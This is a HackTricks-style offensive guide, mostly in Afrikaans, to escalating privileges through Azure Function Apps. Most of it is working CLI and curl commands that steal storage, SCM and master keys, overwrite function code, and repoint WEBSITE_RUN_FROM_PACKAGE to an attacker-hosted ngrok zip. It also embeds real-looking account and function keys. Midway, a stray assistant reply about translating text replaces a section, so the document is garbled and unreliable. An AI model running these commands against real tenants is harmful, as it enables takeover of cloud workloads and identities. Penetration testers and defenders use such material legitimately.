# Az - Functions App Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Function Apps

Kyk na die volgende bladsy vir meer inligting:

{{#ref}}
../az-services/az-function-apps.md
{{#endref}}

### Bucket Read/Write

Met permissies om die containers binne die Storage Account wat die funksie-data stoor te lees, is dit moontlik om **verskillende containers** (aangepas of met voorafbepaalde name) te vind wat moontlik **die code wat deur die funksie uitgevoer word** bevat.

Sodra jy vind waar die code van die funksie geleë is, en as jy write permissions daaroor het, kan jy die funksie laat uitvoer van enige code en privileges eskaleer na die managed identities wat aan die funksie gekoppel is.

- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`  

Die code van die funksie word gewoonlik in 'n file share gestoor. Met genoeg toegang is dit moontlik om die code-lêer te wysig en **make the function load arbitrary code** wat toelaat om privileges te eskaleer na die managed identities wat aan die Function gekoppel is.

Hierdie ontplooiingsmetode stel gewoonlik die instellings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** en **`WEBSITE_CONTENTSHARE`** op wat jy kan kry vanaf
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Those configs will contain the **Storage Account Key** that the Function can use to access the code.

> [!CAUTION]
> Met voldoende toestemming om by die File Share aan te sluit en die lopende **modify the script** te verander, is dit moontlik om execute arbitrary code in die Function uit te voer en privileges te escalate.

Die volgende voorbeeld gebruik macOS om met die file share te koppel, maar dit word aanbeveel om ook die volgende bladsy te raadpleeg vir meer inligting oor file shares:

{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
```bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)

Dit is ook algemeen om die **zip releases** binne die gids `function-releases` van die Storage Account container te vind wat die function app gebruik, in 'n container **gewoonlik genoem `function-releases`**.

Gewoonlik sal hierdie deployment-metode die `WEBSITE_RUN_FROM_PACKAGE` konfigurasie stel in:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Hierdie konfigurasie sal gewoonlik 'n **SAS URL to download** the code from the Storage Account bevat.

> [!CAUTION]
> Met genoeg toestemming om te koppel aan die blob container wat **contains the code in zip** is dit moontlik om execute arbitrary code in die Function en escalate privileges.

- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)

Net soos in die vorige geval, as die deployment gedoen is via Github Actions is dit moontlik om die gids **`github-actions-deploy`** in die Storage Account te vind wat 'n zip van die code bevat en 'n SAS URL na die zip in die instelling `WEBSITE_RUN_FROM_PACKAGE`.

- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)

Met toestemmings om die containers binne die Storage Account wat die function data stoor te lees, is dit moontlik om die container **`scm-releases`** te vind. Daarin is dit moontlik om die jongste release in **Squashfs filesystem file format** te vind en gevolglik die code van die function te lees:
```bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Dit is ook moontlik om die **master- en functions-sleutels** te vind wat gestoor is in die storage account in die container **`azure-webjobs-secrets`** binne die gids **`<app-name>`** in die JSON-lêers wat jy daarin kan vind.

> [!CAUTION]
> Met voldoende toestemming om aan die blob container te koppel wat **die kode in 'n zip extension file bevat** (wat eintlik 'n **`squashfs`** is), is dit moontlik om arbitrêre kode in die Function uit te voer en bevoegdhede te eskaleer.
```bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### `Microsoft.Web/sites/host/listkeys/action`

Hierdie toestemming laat toe om die function-, master- en system-sleutels te lys, maar nie die host-sleutel van die gespesifiseerde function nie, met:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Met die master key is dit ook moontlik om die bronkode te kry via 'n URL soos:
```bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
En om **die kode wat in die funksie uitgevoer word te verander** met:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`

Hierdie toestemming maak dit moontlik om die standaard sleutel van die gespesifiseerde funksie te kry met:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Roep die funksie aan met die standaard sleutel wat verkry is:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`

Hierdie toestemming laat toe om 'n function key van die gespesifiseerde funksie te skep of op te dateer met:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`

Hierdie toestemming maak dit moontlik om 'n master key vir die gespesifiseerde funksie te skep/opdateer met:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Onthou dat met hierdie sleutel jy ook toegang tot die bronkode kan kry en dit soos voorheen verduidelik kan wysig!

### `Microsoft.Web/sites/host/systemKeys/write`

Hierdie toestemming laat toe om 'n stelselfunksiesleutel vir die aangeduide funksie te skep of by te werk met:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
I don't have the key or any file content. Please paste the text you want translated (or the key) here.

Do NOT share real secret credentials or sensitive keys — if the key is sensitive, redact it or provide a non-sensitive placeholder and I will proceed with the translation to Afrikaans.
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action`

Hierdie toestemming maak dit moontlik om die instellings van 'n funksie te kry. Binne hierdie konfigurasies kan dit moontlik wees om die standaardwaardes **`AzureWebJobsStorage`** of **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** te vind, wat 'n **account key bevat om toegang te kry tot die blob storage van die funksie met FULL permissions**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Boonop laat hierdie toestemming ook toe om die **SCM username and password** (indien geaktiveer) te kry met:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`

Hierdie permissies laat toe om die konfigurasiewaardes van 'n funksie te lys soos ons reeds gesien het, plus om **hierdie waardes te wysig**. Dit is nuttig omdat hierdie instellings aandui waar die kode wat binne die funksie uitgevoer word, geleë is.

Dit is dus moontlik om die waarde van die instelling **`WEBSITE_RUN_FROM_PACKAGE`** te stel wat na 'n URL-zip-lêer wys wat die nuwe kode bevat om binne 'n webtoepassing uitgevoer te word:

- Begin deur die huidige konfigurasie te kry
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Skep die kode wat jy wil hê die funksie moet uitvoer en host dit publieklik
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
```
- Wysig die funksie, behou die vorige parameters en voeg aan die einde die config **`WEBSITE_RUN_FROM_PACKAGE`** by wat wys na die URL met die **zip** wat die kode bevat.

Die volgende is 'n voorbeeld van my **eie instellings — jy sal die waardes na jou eie moet verander**. Let op die waardes aan die einde: `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` — dit is waar ek die app gehost het.
```bash
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### `Microsoft.Web/sites/hostruntime/vfs/write`

Met hierdie toestemming is dit **moontlik om die kode van 'n toepassing te wysig** deur die webkonsole (of deur die volgende API-endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)

Hierdie toestemming maak dit moontlik om alle publishing profiles te lys, wat basies **basic auth credentials** bevat:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
```
Nog 'n opsie sou wees om jou eie creds te stel en hulle te gebruik met:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- As die inlogbewyse **REDACTED** is

As jy sien dat daardie inlogbewyse **REDACTED** is, is dit omdat jy die **SCM basic authentication option** moet aanskakel en daarvoor benodig jy die tweede toestemming (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
- **Method SCM**

Dan kan jy met hierdie **basic auth credentials to the SCM URL** van jou function app toegang kry en die waardes van die env variables kry:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Let wel dat die **SCM username** gewoonlik die teken "$" is, gevolg deur die naam van die app, dus: `$<app-name>`._

Jy kan ook die webblad bereik vanaf `https://<app-name>.scm.azurewebsites.net/BasicAuth`

Die settings-waardes bevat die **AccountKey** van die storage account wat die data van die function app stoor, wat dit moontlik maak om daardie storage account te beheer.

- **Metode FTP**

Koppel aan die FTP-bediener met:
```bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._

### `Microsoft.Web/sites/hostruntime/vfs/read`

Hierdie toestemming laat toe om deur die VFS die **read the source code** van die app te lees:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`

Met hierdie toestemming is dit moontlik om [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) wat later gebruik kan word om die **master key** te bekom en dus toegang tot en wysiging van die funksie se kode moontlik te maak.

In my onlangse kontroles is geen token teruggegee nie, dus kan dit gedeaktiveer of nie meer funksioneel wees nie, maar hier is hoe jy dit sou doen:
```bash
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)

Hierdie toestemming laat toe om **functions te aktiveer** wat moontlik uitgeskakel is (of om dit uit te skakel).
```bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Dit is ook moontlik om te sien of 'n funksie geaktiveer of gedeaktiveer is op die volgende URL (met die toestemming tussen hakies):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)

Met hierdie toestemmings is dit moontlik om **die container wat deur 'n function app gedraai word, te wysig** wat gekonfigureer is om 'n container te gebruik. Dit sou 'n aanvaller toelaat om 'n skadelike azure function container app na docker hub (byvoorbeeld) op te laai en die function dit te laat uitvoer.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)

Met hierdie toestemmings is dit moontlik om **'n nuwe user managed identity aan 'n function te koppel**. As die function gekompromitteer sou word, sal dit toelaat om bevoegdhede na enige user managed identity op te skaal.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Afstands-debugging

Dit is ook moontlik om aan te sluit om 'n lopende Azure Function te debug soos [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Azure skakel hierdie opsie egter standaard na 2 dae af as die ontwikkelaar dit vergeet, om te voorkom dat kwesbare konfigurasies agterbly.

Dit is moontlik om te kontroleer of 'n Function se debugging geaktiveer is met:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Indien jy die toestemming `Microsoft.Web/sites/config/write` het, is dit ook moontlik om 'n funksie in foutopsporingsmodus te sit (die volgende opdrag vereis ook die toestemmings `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` en `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Verander Github repo

Ek het probeer om die Github repo vanwaar die ontplooiing plaasvind te verander deur die volgende opdragte uit te voer, maar selfs al het dit verander, is **die nuwe kode nie gelaai** (waarskynlik omdat dit verwag dat die Github Action die kode sal opdateer).\
Boonop is die **managed identity federated credential** nie opgedateer om die nuwe repository toe te laat nie, dus lyk dit of dit nie baie nuttig is nie.
```bash
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
```
{{#include ../../../banners/hacktricks-training.md}}
